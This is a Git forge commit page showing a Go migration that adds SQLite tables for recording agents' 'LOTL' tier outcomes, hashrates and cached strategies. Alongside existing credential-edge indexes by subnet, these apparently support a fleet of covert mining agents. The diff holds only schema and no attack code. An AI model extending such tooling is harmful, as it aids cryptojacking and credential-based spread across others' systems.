Add fleet adaptive strategy engine for proactive LOTL tier ordering
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -195,6 +195,25 @@ func (d *Database) migrate() error {
|
||||
`CREATE INDEX IF NOT EXISTS idx_cred_edges_subnet ON cred_edges(subnet)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_cred_edges_profile ON cred_edges(credential_profile_id)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_cred_edges_created ON cred_edges(created_at)`,
|
||||
`CREATE TABLE IF NOT EXISTS tier_outcomes (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
agent_id TEXT NOT NULL,
|
||||
fingerprint_key TEXT NOT NULL,
|
||||
tier TEXT NOT NULL,
|
||||
ok INTEGER NOT NULL DEFAULT 0,
|
||||
hashrate REAL NOT NULL DEFAULT 0,
|
||||
phase TEXT NOT NULL DEFAULT 'mining',
|
||||
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||
)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_tier_outcomes_fingerprint ON tier_outcomes(fingerprint_key)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_tier_outcomes_tier ON tier_outcomes(tier)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_tier_outcomes_created ON tier_outcomes(created_at)`,
|
||||
`CREATE TABLE IF NOT EXISTS agent_strategy_cache (
|
||||
agent_id TEXT PRIMARY KEY,
|
||||
fingerprint_key TEXT NOT NULL,
|
||||
strategy_json TEXT NOT NULL,
|
||||
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||
)`,
|
||||
}
|
||||
for _, m := range extraMigrations {
|
||||
if _, err := d.Exec(m); err != nil {
|
||||
|
||||
Reference in New Issue
Block a user